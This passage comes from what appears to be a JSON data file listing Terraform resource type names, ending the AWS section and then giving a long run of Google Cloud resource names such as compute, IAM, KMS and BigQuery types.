\"aws_s3tables_table\",\n        \"aws_s3tables_table_bucket\",\n        \"aws_s3tables_table_bucket_policy\",\n        \"aws_s3tables_table_policy\",\n        \"aws_sagemaker_hub\",\n        \"aws_sagemaker_mlflow_tracking_server\",\n        \"aws_securityhub_automation_rule\",\n        \"aws_securityhub_configuration_policy\",\n        \"aws_securityhub_configuration_policy_association\",\n        \"aws_securityhub_standards_control_association\",\n        \"aws_securitylake_custom_log_source\",\n        \"aws_securitylake_subscriber\",\n        \"aws_securitylake_subscriber_notification\",\n        \"aws_servicecatalogappregistry_application\",\n        \"aws_servicecatalogappregistry_attribute_group\",\n        \"aws_servicecatalogappregistry_attribute_group_association\",\n        \"aws_sesv2_account_suppression_attributes\",\n        \"aws_sesv2_email_identity_policy\",\n        \"aws_shield_proactive_engagement\",\n        \"aws_shield_subscription\",\n        \"aws_ssmcontacts_rotation\",\n        \"aws_ssmquicksetup_configuration_manager\",\n        \"aws_timestreaminfluxdb_db_instance\",\n        \"aws_timestreamquery_scheduled_query\",\n        \"aws_verifiedpermissions_identity_source\",\n        \"aws_verifiedpermissions_policy\",\n        \"aws_vpc_block_public_access_exclusion\",\n        \"aws_vpc_block_public_access_options\",\n        \"aws_vpc_endpoint_private_dns\",\n        \"aws_vpc_endpoint_service_private_dns_verification\",\n        \"aws_vpc_security_group_vpc_association\",\n        \"aws_vpclattice_resource_configuration\",\n        \"aws_vpclattice_resource_gateway\",\n        \"aws_vpclattice_service_network_resource_association\"\n    ],\n    \"gcp\": [\n        \"google_access_context_manager_access_level\",\n        \"google_project_services\",\n        \"google_access_context_manager_access_policy\",\n        \"google_access_context_manager_service_perimeter\",\n        \"google_access_context_manager_service_perimeter_resource\",\n        \"google_app_engine_application\",\n        \"google_app_engine_application_url_dispatch_rules\",\n        \"google_app_engine_domain_mapping\",\n        \"google_app_engine_firewall_rule\",\n        \"google_app_engine_flexible_app_version\",\n        \"google_app_engine_service_split_traffic\",\n        \"google_app_engine_standard_app_version\",\n        \"google_bigquery_dataset\",\n        \"google_bigquery_dataset_access\",\n        \"google_bigquery_dataset_iam\",\n        \"google_bigquery_job\",\n        \"google_bigquery_table\",\n        \"google_bigquery_data_transfer_config\",\n        \"google_binary_authorization_attestor\",\n        \"google_binary_authorization_attestor_iam\",\n        \"google_binary_authorization_policy\",\n        \"google_logging_billing_account_bucket_config\",\n        \"google_logging_billing_account_exclusion\",\n        \"google_logging_billing_account_sink\",\n        \"google_logging_folder_bucket_config\",\n        \"google_logging_folder_exclusion\",\n        \"google_logging_folder_sink\",\n        \"google_logging_metric\",\n        \"google_logging_organization_bucket_config\",\n        \"google_logging_organization_exclusion\",\n        \"google_logging_organization_sink\",\n        \"google_logging_project_bucket_config\",\n        \"google_logging_project_exclusion\",\n        \"google_logging_project_sink\",\n        \"google_monitoring_alert_policy\",\n        \"google_monitoring_dashboard\",\n        \"google_monitoring_group\",\n        \"google_monitoring_metric_descriptor\",\n        \"google_monitoring_notification_channel\",\n        \"google_monitoring_service\",\n        \"google_monitoring_slo\",\n        \"google_monitoring_uptime_check_config\",\n        \"google_cloud_asset_folder_feed\",\n        \"google_cloud_asset_organization_feed\",\n        \"google_cloud_asset_project_feed\",\n        \"google_bigtable_app_profile\",\n        \"google_bigtable_gc_policy\",\n        \"google_bigtable_instance\",\n        \"google_bigtable_instance_iam\",\n        \"google_bigtable_table\",\n        \"google_cloudbuild_trigger\",\n        \"google_composer_environment\",\n        \"google_dns_managed_zone\",\n        \"google_dns_policy\",\n        \"google_dns_record_set\",\n        \"google_deployment_manager_deployment\",\n        \"google_endpoints_service\",\n        \"google_endpoints_service_iam\",\n        \"google_cloudfunctions_cloud_function_iam\",\n        \"google_cloudfunctions_function\",\n        \"google_healthcare_dataset\",\n        \"google_healthcare_dataset_iam\",\n        \"google_healthcare_dicom_store\",\n        \"google_healthcare_dicom_store_iam\",\n        \"google_healthcare_fhir_store\",\n        \"google_healthcare_fhir_store_iam\",\n        \"google_healthcare_hl7_v2_store\",\n        \"google_healthcare_hl7_v2_store_iam\",\n        \"google_cloudiot_device\",\n        \"google_cloudiot_device_registry\",\n        \"google_kms_crypto_key_iam\",\n        \"google_kms_key_ring_iam\",\n        \"google_kms_crypto_key\",\n        \"google_kms_key_ring\",\n        \"google_kms_key_ring_import_job\",\n        \"google_kms_secret_ciphertext\",\n        \"google_billing_account_iam_binding\",\n        \"google_billing_account_iam_member\",\n        \"google_billing_account_iam_policy\",\n        \"google_folder\",\n        \"google_folder_iam_audit_config\",\n        \"google_folder_iam_binding\",\n        \"google_folder_iam_member\",\n        \"google_folder_iam_policy\",\n        \"google_folder_organization_policy\",\n        \"google_organization_iam_audit_config\",\n        \"google_organization_iam_binding\",\n        \"google_organization_iam_custom_role\",\n        \"google_organization_iam_member\",\n        \"google_organization_iam_policy\",\n        \"google_organization_policy\",\n        \"google_project\",\n        \"google_project_iam_binding\",\n        \"google_project_iam_member\",\n        \"google_project_iam_custom_role\",\n        \"google_project_organization_policy\",\n        \"google_project_service\",\n        \"google_service_account\",\n        \"google_service_account_iam\",\n        \"google_service_account_key\",\n        \"google_usage_export_bucket\",\n        \"google_pubsub_subscription\",\n        \"google_pubsub_subscription_iam\",\n        \"google_pubsub_topic\",\n        \"google_pubsub_topic_iam\",\n        \"google_cloud_run_domain_mapping\",\n        \"google_cloud_run_service\",\n        \"google_cloud_run_service_iam\",\n        \"google_sql_database\",\n        \"google_sql_database_instance\",\n        \"google_sql_source_representation_instance\",\n        \"google_sql_ssl_cert\",\n        \"google_sql_user\",\n        \"google_cloud_scheduler_job\",\n        \"google_sourcerepo_repository\",\n        \"google_sourcerepo_repository_iam\",\n        \"google_spanner_database\",\n        \"google_spanner_database_iam\",\n        \"google_spanner_instance\",\n        \"google_spanner_instance_iam\",\n        \"google_storage_bucket\",\n        \"google_storage_bucket_access_control\",\n        \"google_storage_bucket_acl\",\n        \"google_storage_bucket_iam_binding\",\n        \"google_storage_bucket_iam_member\",\n        \"google_storage_bucket_object\",\n        \"google_storage_default_object_access_control\",\n        \"google_storage_default_object_acl\",\n        \"google_storage_hmac_key\",\n        \"google_storage_notification\",\n        \"google_storage_object_access_control\",\n        \"google_storage_object_acl\",\n        \"google_tpu_node\",\n        \"google_cloud_tasks_queue\",\n        \"google_compute_address\",\n        \"google_compute_attached_disk\",\n        \"google_compute_autoscaler\",\n        \"google_compute_backend_bucket\",\n        \"google_compute_backend_bucket_signed_url_key\",\n        \"google_compute_backend_service\",\n        \"google_compute_backend_service_signed_url_key\",\n        \"google_compute_disk\",\n        \"google_compute_disk_resource_policy_attachment\",\n        \"google_compute_firewall\",\n        \"google_compute_forwarding_rule\",\n        \"google_compute_global_address\",\n        \"google_compute_global_forwarding_rule\",\n        \"google_compute_global_network_endpoint\",\n        \"google_compute_global_network_endpoint_group\",\n        \"google_compute_health_check\",\n        \"google_compute_http_health_check\",\n        \"google_compute_https_health_check\",\n        \"google_compute_image\",\n        \"google_compute_instance\",\n        \"google_compute_instance_from_template\",\n        \"google_compute_instance_group\",\n        \"google_compute_instance_group_manager\",\n        \"google_compute_instance_group_named_port\",\n        \"google_compute_instance_iam\",\n        \"google_compute_instance_template\",\n        \"google_compute_interconnect_attachment\",\n        \"google_compute_network\",\n        \"google_compute_network_endpoint\",\n        \"google_compute_network_endpoint_group\",\n        \"google_compute_network_peering\",\n        \"google_compute_network_peering_routes_config\",\n        \"google_compute_node_group\",\n        \"google_compute_node_template\",\n        \"google_compute_project_default_network_tier\",\n        \"google_compute_project_metadata\",\n        \"google_compute_project_metadata_item\",\n        \"google_compute_region_autoscaler\",\n        \"google_compute_region_backend_service\",\n        \"google_compute_region_disk\",\n        \"google_compute_region_disk_resource_policy_attachment\",\n        \"google_compute_region_health_check\",\n        \"google_compute_region_instance_group_manager\",\n        \"google_compute_region_ssl_certificate\",\n        \"google_compute_region_target_http_proxy\",\n        \"google_compute_region_target_https_proxy\",\n        \"google_compute_region_url_map\",\n        \"google_compute_reservation\",\n        \"google_compute_resource_policy\",\n        \"google_compute_route\",\n        \"google_compute_router\",\n        \"google_compute_router_bgp_peer\",\n        \"google_compute_router_interface\",\n        \"google_compute_router_nat\",\n        \"google_compute_security_policy\",\n        \"google_compute_shared_vpc_host_project\",\n        \"google_compute_shared_vpc_service_project\",\n        \"google_compute_snapshot\",\n        \"google_compute_ssl_certificate\",\n        \"google_compute_ssl_policy\",\n        \"google_compute_subnetwork\",\n        \"google_compute_subnetwork_iam\",\n        \"google_compute_target_http_proxy\",\n        \"google_compute_target_https_proxy\",\n        \"google_compute_target_instance\",\n        \"google_compute_target_pool\",\n        \"google_compute_target_ssl_proxy\",\n        \"google_compute_target_tcp_proxy\",\n        \"google_compute_url_map\",\n        \"google_compute_vpn_gateway\",\n        \"google_compute_vpn_tunnel\",\n        \"google_container_analysis_note\",\n        \"google_container_analysis_occurrence\",\n        \"google_container_registry\",\n        \"google_data_catalog_entry\",\n        \"google_data_catalog_entry_group\",\n        \"google_data_catalog_entry_group_iam\",\n        \"google_data_catalog_tag\",\n        \"google_data_catalog_tag_template\",\n        \"google_dataflow_job\",\n        \"google_dataproc_autoscaling_policy\",\n        \"google_dataproc_cluster\",\n        \"google_dataproc_cluster_iam\",\n        \"google_dataproc_job\",\n        \"google_dataproc_job_iam\",\n        \"google_datastore_index\",\n        \"google_dialogflow_agent\",\n        \"google_dialogflow_entity_type\",\n        \"google_dialogflow_intent\",\n        \"google_filestore_instance\",\n        \"google_firestore_index\",\n        \"google_identity_platform_default_supported_idp_config\",\n        \"google_identity_platform_inbound_saml_config\",\n        \"google_identity_platform_oauth_idp_config\",\n        \"google_identity_platform_tenant\",\n        \"google_identity_platform_tenant_default_supported_idp_config\",\n        \"google_identity_platform_tenant_inbound_saml_config\",\n        \"google_identity_platform_tenant_oauth_idp_config\",\n        \"google_iap_app_engine_service_iam\",\n        \"google_iap_app_engine_version_iam\",\n        \"google_iap_brand\",\n        \"google_iap_client\",\n        \"google_iap_tunnel_instance_iam\",\n        \"google_iap_web_backend_service_iam\",\n        \"google_iap_web_iam\",\n        \"google_iap_web_type_app_engine_iam\",\n        \"google_iap_web_type_compute_iam\",\n        \"google_container_cluster\",\n        \"google_container_node_pool\",\n        \"google_ml_engine_model\",\n        \"google_redis_instance\",\n        \"google_network_management_connectivity_test_resource\",\n        \"google_os_config_patch_deployment\",\n        \"google_os_login_ssh_public_key\",\n        \"google_resource_manager_lien\",\n        \"google_runtimeconfig_config\",\n        \"google_runtimeconfig_config_iam\",\n        \"google_runtimeconfig_variable\",\n        \"google_secret_manager_secret\",\n        \"google_secret_manager_secret_iam\",\n        \"google_secret_manager_secret_version\",\n        \"google_scc_source\",\n        \"google_vpc_access_connector\",\n        \"google_service_networking_connection\",\n        \"google_storage_transfer_job\",\n        \"google_project_iam\",\n        \"google_storage_bucket_iam\",\n        \"google_dataflow_flex_template_job\",\n        \"google_active_directory_domain\",\n        \"google_access_context_manager_access_level_condition\",\n        \"google_access_context_manager_access_levels\",\n        \"google_access_context_manager_gcp_user_access_binding\",\n        \"google_access_context_manager_service_perimeters\",\n        \"google_active_directory_domain_trust\",\n        \"google_apigee_organization\",\n        \"google_bigquery_dataset_iam_binding\",\n        \"google_bigquery_dataset_iam_member\",\n        \"google_bigquery_dataset_iam_policy\",\n        \"google_bigquery_reservation\",\n        \"google_bigquery_routine\",\n        \"google_bigquery_table_iam_binding\",\n        \"google_bigquery_table_iam_member\",\n        \"google_bigquery_table_iam_policy\",\n        \"google_bigtable_instance_iam_binding\",\n        \"google_bigtable_instance_iam_member\",\n        \"google_bigtable_instance_iam_policy\",\n        \"google_bigtable_table_iam_binding\",\n        \"google_bigtable_table_iam_member\",\n        \"google_bigtable_table_iam_policy\",\n        \"google_billing_budget\",\n        \"google_billing_subaccount\",\n        \"google_binary_authorization_attestor_iam_binding\",\n        \"google_binary_authorization_attestor_iam_member\",\n        \"google_binary_authorization_attestor_iam_policy\",\n        \"google_cloud_identity_group\",\n        \"google_cloud_identity_group_membership\",\n        \"google_cloud_run_service_iam_binding\",\n        \"google_cloud_run_service_iam_member\",\n        \"google_cloud_run_service_iam_policy\",\n        \"google_cloudfunctions_function_iam_binding\",\n        \"google_cloudfunctions_function_iam_member\",\n        \"google_cloudfunctions_function_iam_policy\",\n        \"google_cloudiot_registry\",\n        \"google_compute_disk_iam_binding\",\n        \"google_compute_disk_iam_member\",\n        \"google_compute_disk_iam_policy\",\n        \"google_compute_external_vpn_gateway\",\n        \"google_compute_ha_vpn_gateway\",\n        \"google_compute_image_iam_binding\",\n        \"google_compute_image_iam_member\",\n        \"google_compute_image_iam_policy\",\n        \"google_compute_instance_iam_binding\",\n        \"google_compute_instance_iam_member\",\n        \"google_compute_instance_iam_policy\",\n        \"google_compute_managed_ssl_certificate\",\n        \"google_compute_packet_mirroring\",\n        \"google_compute_per_instance_config\",\n        \"google_compute_region_disk_iam_binding\",\n        \"google_compute_region_disk_iam_member\",\n        \"google_compute_region_disk_iam_policy\",\n        \"google_compute_region_network_endpoint_group\",\n        \"google_compute_region_per_instance_config\",\n        \"google_compute_router_peer\",\n        \"google_compute_subnetwork_iam_binding\",\n        \"google_compute_subnetwork_iam_member\",\n        \"google_compute_subnetwork_iam_policy\",\n        \"google_compute_target_grpc_proxy\",\n        \"google_data_catalog_entry_group_iam_binding\",\n        \"google_data_catalog_entry_group_iam_member\",\n        \"google_data_catalog_entry_group_iam_policy\",\n        \"google_data_loss_prevention_deidentify_template\",\n        \"google_data_loss_prevention_inspect_template\",\n        \"google_data_loss_prevention_job_trigger\",\n        \"google_data_loss_prevention_stored_info_type\",\n        \"google_dataproc_cluster_iam_binding\",\n        \"google_dataproc_cluster_iam_member\",\n        \"google_dataproc_cluster_iam_policy\",\n        \"google_dataproc_job_iam_binding\",\n        \"google_dataproc_job_iam_member\",\n        \"google_dataproc_job_iam_policy\",\n        \"google_endpoints_service_iam_binding\",\n        \"google_endpoints_service_iam_member\",\n        \"google_endpoints_service_iam_policy\",\n        \"google_firestore_document\",\n        \"google_folder_access_approval_settings\",\n        \"google_game_services_game_server_cluster\",\n        \"google_game_services_game_server_config\",\n        \"google_game_services_game_server_deployment\",\n        \"google_game_services_game_server_deployment_rollout\",\n        \"google_game_services_realm\",\n        \"google_healthcare_dataset_iam_binding\",\n        \"google_healthcare_dataset_iam_member\",\n        \"google_healthcare_dataset_iam_policy\",\n        \"google_healthcare_dicom_store_iam_binding\",\n        \"google_healthcare_dicom_store_iam_member\",\n        \"google_healthcare_dicom_store_iam_policy\",\n        \"google_healthcare_fhir_store_iam_binding\",\n        \"google_healthcare_fhir_store_iam_member\",\n        \"google_healthcare_fhir_store_iam_policy\",\n        \"google_healthcare_hl7_v2_store_iam_binding\",\n        \"google_healthcare_hl7_v2_store_iam_member\",\n        \"google_healthcare_hl7_v2_store_iam_policy\",\n        \"google_iap_app_engine_service_iam_binding\",\n        \"google_iap_app_engine_service_iam_member\",\n        \"google_iap_app_engine_service_iam_policy\",\n        \"google_iap_app_engine_version_iam_binding\",\n        \"google_iap_app_engine_version_iam_member\",\n        \"google_iap_app_engine_version_iam_policy\",\n        \"google_iap_tunnel_iam_binding\",\n        \"google_iap_tunnel_iam_member\",\n        \"google_iap_tunnel_iam_policy\",\n        \"google_iap_tunnel_instance_iam_binding\",\n        \"google_iap_tunnel_instance_iam_member\",\n        \"google_iap_tunnel_instance_iam_policy\",\n        \"google_iap_web_backend_service_iam_binding\",\n        \"google_iap_web_backend_service_iam_member\",\n        \"google_iap_web_backend_service_iam_policy\",\n        \"google_iap_web_iam_binding\",\n        \"google_iap_web_iam_member\",\n        \"google_iap_web_iam_policy\",\n        \"google_iap_web_type_app_engine_iam_binding\",\n        \"google_iap_web_type_app_engine_iam_member\",\n        \"google_iap_web_type_app_engine_iam_policy\",\n        \"google_iap_web_type_compute_iam_binding\",\n        \"google_iap_web_type_compute_iam_member\",\n        \"google_iap_web_type_compute_iam_policy\",\n        \"google_kms_crypto_key_iam_binding\",\n        \"google_kms_crypto_key_iam_member\",\n        \"google_kms_crypto_key_iam_policy\",\n        \"google_kms_key_ring_iam_binding\",\n        \"google_kms_key_ring_iam_member\",\n        \"google_kms_key_ring_iam_policy\",\n        \"google_monitoring_custom_service\",\n        \"google_network_management_connectivity_test\",\n        \"google_notebooks_environment\",\n        \"google_notebooks_instance\",\n        \"google_notebooks_instance_iam_binding\",\n        \"google_notebooks_instance_iam_member\",\n        \"google_notebooks_instance_iam_policy\",\n        \"google_notebooks_location\",\n        \"google_organization_access_approval_settings\",\n        \"google_project_access_approval_settings\",\n        \"google_project_default_service_accounts\",\n        \"google_project_iam_audit_config\",\n        \"google_project_iam_policy\",\n        \"google_project_usage_export_bucket\",\n        \"google_pubsub_lite_subscription\",\n        \"google_pubsub_lite_topic\",\n        \"google_pubsub_subscription_iam_binding\",\n        \"google_pubsub_subscription_iam_member\",\n        \"google_pubsub_subscription_iam_policy\",\n        \"google_pubsub_topic_iam_binding\",\n        \"google_pubsub_topic_iam_member\",\n        \"google_pubsub_topic_iam_policy\",\n        \"google_runtimeconfig_config_iam_binding\",\n        \"google_runtimeconfig_config_iam_member\",\n        \"google_runtimeconfig_config_iam_policy\",\n        \"google_secret_manager_secret_iam_binding\",\n        \"google_secret_manager_secret_iam_member\",\n        \"google_secret_manager_secret_iam_policy\",\n        \"google_service_account_iam_binding\",\n        \"google_service_account_iam_member\",\n        \"google_service_account_iam_policy\",\n        \"google_sourcerepo_repository_iam_binding\",\n        \"google_sourcerepo_repository_iam_member\",\n        \"google_sourcerepo_repository_iam_policy\",\n        \"google_spanner_database_iam_binding\",\n        \"google_spanner_database_iam_member\",\n        \"google_spanner_database_iam_policy\",\n        \"google_spanner_instance_iam_binding\",\n        \"google_spanner_instance_iam_member\",\n        \"google_spanner_instance_iam_policy\",\n        \"google_storage_bucket_iam_policy\",\n        \"google_apigee_envgroup\",\n        \"google_apigee_envgroup_attachment\",\n        \"google_apigee_environment\",\n        \"google_apigee_instance\",\n        \"google_apigee_instance_attachment\",\n        \"google_data_catalog_tag_template_iam_binding\",\n        \"google_data_catalog_tag_template_iam_member\",\n        \"google_data_catalog_tag_template_iam_policy\",\n        \"google_eventarc_trigger\",\n        \"google_healthcare_consent_store\",\n        \"google_healthcare_consent_store_iam_binding\",\n        \"google_healthcare_consent_store_iam_member\",\n        \"google_healthcare_consent_store_iam_policy\",\n        \"google_tags_tag_binding\",\n        \"google_tags_tag_key\",\n        \"google_tags_tag_key_iam_binding\",\n        \"google_tags_tag_key_iam_member\",\n        \"google_tags_tag_key_iam_policy\",\n        \"google_tags_tag_value\",\n        \"google_tags_tag_value_iam_binding\",\n        \"google_tags_tag_value_iam_member\",\n        \"google_tags_tag_value_iam_policy\",\n        \"google_workflows_workflow\",\n        \"google_apigee_environment_iam_binding\",\n        \"google_apigee_environment_iam_member\",\n        \"google_apigee_environment_iam_policy\",\n        \"google_app_engine_service_network_settings\",\n        \"google_assured_workloads_workload\",\n        \"google_cloudbuild_worker_pool\",\n        \"google_compute_firewall_policy\",\n        \"google_compute_firewall_policy_association\",\n        \"google_compute_firewall_policy_rule\",\n        \"google_compute_service_attachment\",\n        \"google_container_aws_cluster\",\n        \"google_container_aws_node_pool\",\n        \"google_container_azure_client\",\n        \"google_container_azure_cluster\",\n        \"google_container_azure_node_pool\",\n        \"google_dataproc_workflow_template\",\n        \"google_dialogflow_cx_agent\",\n        \"google_dialogflow_cx_entity_type\",\n        \"google_dialogflow_cx_environment\",\n        \"google_dialogflow_cx_flow\",\n        \"google_dialogflow_cx_intent\",\n        \"google_dialogflow_cx_page\",\n        \"google_dialogflow_cx_version\",\n        \"google_dialogflow_fulfillment\",\n        \"google_essential_contacts_contact\",\n        \"google_gke_hub_membership\",\n        \"google_memcache_instance\",\n        \"google_network_services_edge_cache_keyset\",\n        \"google_network_services_edge_cache_origin\",\n        \"google_network_services_edge_cache_service\",\n        \"google_notebooks_runtime\",\n        \"google_notebooks_runtime_iam_binding\",\n        \"google_notebooks_runtime_iam_member\",\n        \"google_notebooks_runtime_iam_policy\",\n        \"google_org_policy_policy\",\n        \"google_os_config_os_policy_assignment\",\n        \"google_privateca_ca_pool\",\n        \"google_privateca_ca_pool_iam_binding\",\n        \"google_privateca_ca_pool_iam_member\",\n        \"google_privateca_ca_pool_iam_policy\",\n        \"google_privateca_certificate\",\n        \"google_privateca_certificate_authority\",\n        \"google_privateca_certificate_template\",\n        \"google_pubsub_lite_reservation\",\n        \"google_pubsub_schema\",\n        \"google_recaptcha_enterprise_key\",\n        \"google_scc_notification_config\",\n        \"google_service_networking_peered_dns_domain\",\n        \"google_vertex_ai_dataset\",\n        \"google_access_context_manager_access_policy_iam_binding\",\n        \"google_access_context_manager_access_policy_iam_member\",\n        \"google_access_context_manager_access_policy_iam_policy\",\n        \"google_apigee_endpoint_attachment\",\n        \"google_apikeys_key\",\n        \"google_artifact_registry_repository\",\n        \"google_artifact_registry_repository_iam_binding\",\n        \"google_artifact_registry_repository_iam_member\",\n        \"google_artifact_registry_repository_iam_policy\",\n        \"google_bigquery_connection\",\n        \"google_bigquery_connection_iam_binding\",\n        \"google_bigquery_connection_iam_member\",\n        \"google_bigquery_connection_iam_policy\",\n        \"google_bigquery_reservation_assignment\",\n        \"google_certificate_manager_certificate\",\n        \"google_certificate_manager_certificate_map\",\n        \"google_certificate_manager_certificate_map_entry\",\n        \"google_certificate_manager_dns_authorization\",\n        \"google_cloud_tasks_queue_iam_binding\",\n        \"google_cloud_tasks_queue_iam_member\",\n        \"google_cloud_tasks_queue_iam_policy\",\n        \"google_clouddeploy_delivery_pipeline\",\n        \"google_clouddeploy_target\",\n        \"google_cloudiot_registry_iam_binding\",\n        \"google_cloudiot_registry_iam_member\",\n        \"google_cloudiot_registry_iam_policy\",\n        \"google_compute_snapshot_iam_binding\",\n        \"google_compute_snapshot_iam_member\",\n        \"google_compute_snapshot_iam_policy\",\n        \"google_data_fusion_instance\",\n        \"google_dataplex_lake\",\n        \"google_dataproc_autoscaling_policy_iam_binding\",\n        \"google_dataproc_autoscaling_policy_iam_member\",\n        \"google_dataproc_autoscaling_policy_iam_policy\",\n        \"google_dataproc_metastore_service\",\n        \"google_dataproc_metastore_service_iam_binding\",\n        \"google_dataproc_metastore_service_iam_member\",\n        \"google_dataproc_metastore_service_iam_policy\",\n        \"google_document_ai_processor\",\n        \"google_document_ai_processor_default_version\",\n        \"google_endpoints_service_consumers_iam_binding\",\n        \"google_endpoints_service_consumers_iam_member\",\n        \"google_endpoints_service_consumers_iam_policy\",\n        \"google_firebaserules_release\",\n        \"google_firebaserules_ruleset\",\n        \"google_iam_workload_identity_pool\",\n        \"google_iam_workload_identity_pool_provider\",\n        \"google_logging_log_view\",\n        \"google_monitoring_monitored_project\",\n        \"google_network_connectivity_hub\",\n        \"google_network_connectivity_spoke\",\n        \"google_privateca_certificate_template_iam_binding\",\n        \"google_privateca_certificate_template_iam_member\",\n        \"google_privateca_certificate_template_iam_policy\",\n        \"google_vertex_ai_metadata_store\",\n        \"google_apigee_nat_address\",\n        \"google_beyondcorp_app_connector\",\n        \"google_beyondcorp_app_gateway\",\n        \"google_bigquery_analytics_hub_data_exchange\",\n        \"google_bigquery_analytics_hub_data_exchange_iam_binding\",\n        \"google_bigquery_analytics_hub_data_exchange_iam_member\",\n        \"google_bigquery_analytics_hub_data_exchange_iam_policy\",\n        \"google_bigquery_analytics_hub_listing\",\n        \"google_bigquery_analytics_hub_listing_iam_binding\",\n        \"google_bigquery_analytics_hub_listing_iam_member\",\n        \"google_bigquery_analytics_hub_listing_iam_policy\",\n        \"google_cloud_ids_endpoint\",\n        \"google_cloud_run_v2_job\",\n        \"google_cloud_run_v2_service\",\n        \"google_cloudfunctions2_function\",\n        \"google_cloudfunctions2_function_iam_binding\",\n        \"google_cloudfunctions2_function_iam_member\",\n        \"google_cloudfunctions2_function_iam_policy\",\n        \"google_compute_network_firewall_policy\",\n        \"google_compute_network_firewall_policy_association\",\n        \"google_compute_network_firewall_policy_rule\",\n        \"google_compute_region_network_firewall_policy\",\n        \"google_compute_region_network_firewall_policy_association\",\n        \"google_compute_region_network_firewall_policy_rule\",\n        \"google_data_fusion_instance_iam_binding\",\n        \"google_data_fusion_instance_iam_member\",\n        \"google_data_fusion_instance_iam_policy\",\n        \"google_dataplex_asset\",\n        \"google_dataplex_zone\",\n        \"google_datastream_connection_profile\",\n        \"google_datastream_private_connection\",\n        \"google_dialogflow_cx_webhook\",\n        \"google_eventarc_channel\",\n        \"google_eventarc_google_channel_config\",\n        \"google_filestore_backup\",\n        \"google_filestore_snapshot\",\n        \"google_gke_hub_membership_iam_binding\",\n        \"google_gke_hub_membership_iam_member\",\n        \"google_gke_hub_membership_iam_policy\",\n        \"google_identity_platform_config\",\n        \"google_identity_platform_project_default_config\",\n        \"google_kms_crypto_key_version\",\n        \"google_scc_source_iam_binding\",\n        \"google_scc_source_iam_member\",\n        \"google_scc_source_iam_policy\",\n        \"google_storage_transfer_agent_pool\",\n        \"google_vertex_ai_endpoint\",\n        \"google_vertex_ai_featurestore\",\n        \"google_vertex_ai_featurestore_entitytype\",\n        \"google_vertex_ai_featurestore_entitytype_feature\",\n        \"google_vertex_ai_index\",\n        \"google_vertex_ai_tensorboard\",\n        \"google_access_context_manager_authorized_orgs_desc\",\n        \"google_access_context_manager_egress_policy\",\n        \"google_access_context_manager_ingress_policy\",\n        \"google_access_context_manager_service_perimeter_egress_policy\",\n        \"google_access_context_manager_service_perimeter_ingress_policy\",\n        \"google_alloydb_backup\",\n        \"google_alloydb_cluster\",\n        \"google_alloydb_instance\",\n        \"google_alloydb_user\",\n        \"google_apigee_addons_config\",\n        \"google_apigee_env_keystore\",\n        \"google_apigee_env_references\",\n        \"google_apigee_flowhook\",\n        \"google_apigee_keystores_aliases_key_cert_file\",\n        \"google_apigee_keystores_aliases_pkcs12\",\n        \"google_apigee_keystores_aliases_self_signed_cert\",\n        \"google_apigee_sharedflow\",\n        \"google_apigee_sharedflow_deployment\",\n        \"google_apigee_sync_authorization\",\n        \"google_apigee_target_server\",\n        \"google_beyondcorp_app_connection\",\n        \"google_biglake_catalog\",\n        \"google_biglake_database\",\n        \"google_biglake_table\",\n        \"google_bigquery_bi_reservation\",\n        \"google_bigquery_capacity_commitment\",\n        \"google_bigquery_datapolicy_data_policy\",\n        \"google_bigquery_datapolicy_data_policy_iam_binding\",\n        \"google_bigquery_datapolicy_data_policy_iam_member\",\n        \"google_bigquery_datapolicy_data_policy_iam_policy\",\n        \"google_billing_project_info\",\n        \"google_certificate_manager_certificate_issuance_config\",\n        \"google_certificate_manager_trust_config\",\n        \"google_cloud_run_v2_job_iam_binding\",\n        \"google_cloud_run_v2_job_iam_member\",\n        \"google_cloud_run_v2_job_iam_policy\",\n        \"google_cloud_run_v2_service_iam_binding\",\n        \"google_cloud_run_v2_service_iam_member\",\n        \"google_cloud_run_v2_service_iam_policy\",\n        \"google_cloudbuild_bitbucket_server_config\",\n        \"google_cloudbuildv2_connection\",\n        \"google_cloudbuildv2_connection_iam_binding\",\n        \"google_cloudbuildv2_connection_iam_member\",\n        \"google_cloudbuildv2_connection_iam_policy\",\n        \"google_cloudbuildv2_repository\",\n        \"google_clouddomains_registration\",\n        \"google_compute_disk_async_replication\",\n        \"google_compute_network_endpoints\",\n        \"google_compute_public_advertised_prefix\",\n        \"google_compute_public_delegated_prefix\",\n        \"google_compute_region_commitment\",\n        \"google_compute_region_instance_template\",\n        \"google_compute_region_ssl_policy\",\n        \"google_compute_region_target_tcp_proxy\",\n        \"google_container_analysis_note_iam_binding\",\n        \"google_container_analysis_note_iam_member\",\n        \"google_container_analysis_note_iam_policy\",\n        \"google_container_attached_cluster\",\n        \"google_data_catalog_policy_tag\",\n        \"google_data_catalog_policy_tag_iam_binding\",\n        \"google_data_catalog_policy_tag_iam_member\",\n        \"google_data_catalog_policy_tag_iam_policy\",\n        \"google_data_catalog_taxonomy\",\n        \"google_data_catalog_taxonomy_iam_binding\",\n        \"google_data_catalog_taxonomy_iam_member\",\n        \"google_data_catalog_taxonomy_iam_policy\",\n        \"google_data_pipeline_pipeline\",\n        \"google_database_migration_service_connection_profile\",\n        \"google_database_migration_service_private_connection\",\n        \"google_dataplex_asset_iam_binding\",\n        \"google_dataplex_asset_iam_member\",\n        \"google_dataplex_asset_iam_policy\",\n        \"google_dataplex_datascan\",\n        \"google_dataplex_datascan_iam_binding\",\n        \"google_dataplex_datascan_iam_member\",\n        \"google_dataplex_datascan_iam_policy\",\n        \"google_dataplex_lake_iam_binding\",\n        \"google_dataplex_lake_iam_member\",\n        \"google_dataplex_lake_iam_policy\",\n        \"google_dataplex_task\",\n        \"google_dataplex_task_iam_binding\",\n        \"google_dataplex_task_iam_member\",\n        \"google_dataplex_task_iam_policy\",\n        \"google_dataplex_zone_iam_binding\",\n        \"google_dataplex_zone_iam_member\",\n        \"google_dataplex_zone_iam_policy\",\n        \"google_datastream_stream\",\n        \"google_dialogflow_cx_security_settings\",\n        \"google_dialogflow_cx_test_case\",\n        \"google_dns_managed_zone_iam_binding\",\n        \"google_dns_managed_zone_iam_member\",\n        \"google_dns_managed_zone_iam_policy\",\n        \"google_dns_response_policy\",\n        \"google_dns_response_policy_rule\",\n        \"google_document_ai_warehouse_document_schema\",\n        \"google_document_ai_warehouse_location\",\n        \"google_edgecontainer_cluster\",\n        \"google_edgecontainer_node_pool\",\n        \"google_edgecontainer_vpn_connection\",\n        \"google_edgenetwork_network\",\n        \"google_edgenetwork_subnet\",\n        \"google_firestore_backup_schedule\",\n        \"google_firestore_database\",\n        \"google_firestore_field\",\n        \"google_gke_backup_backup_plan\",\n        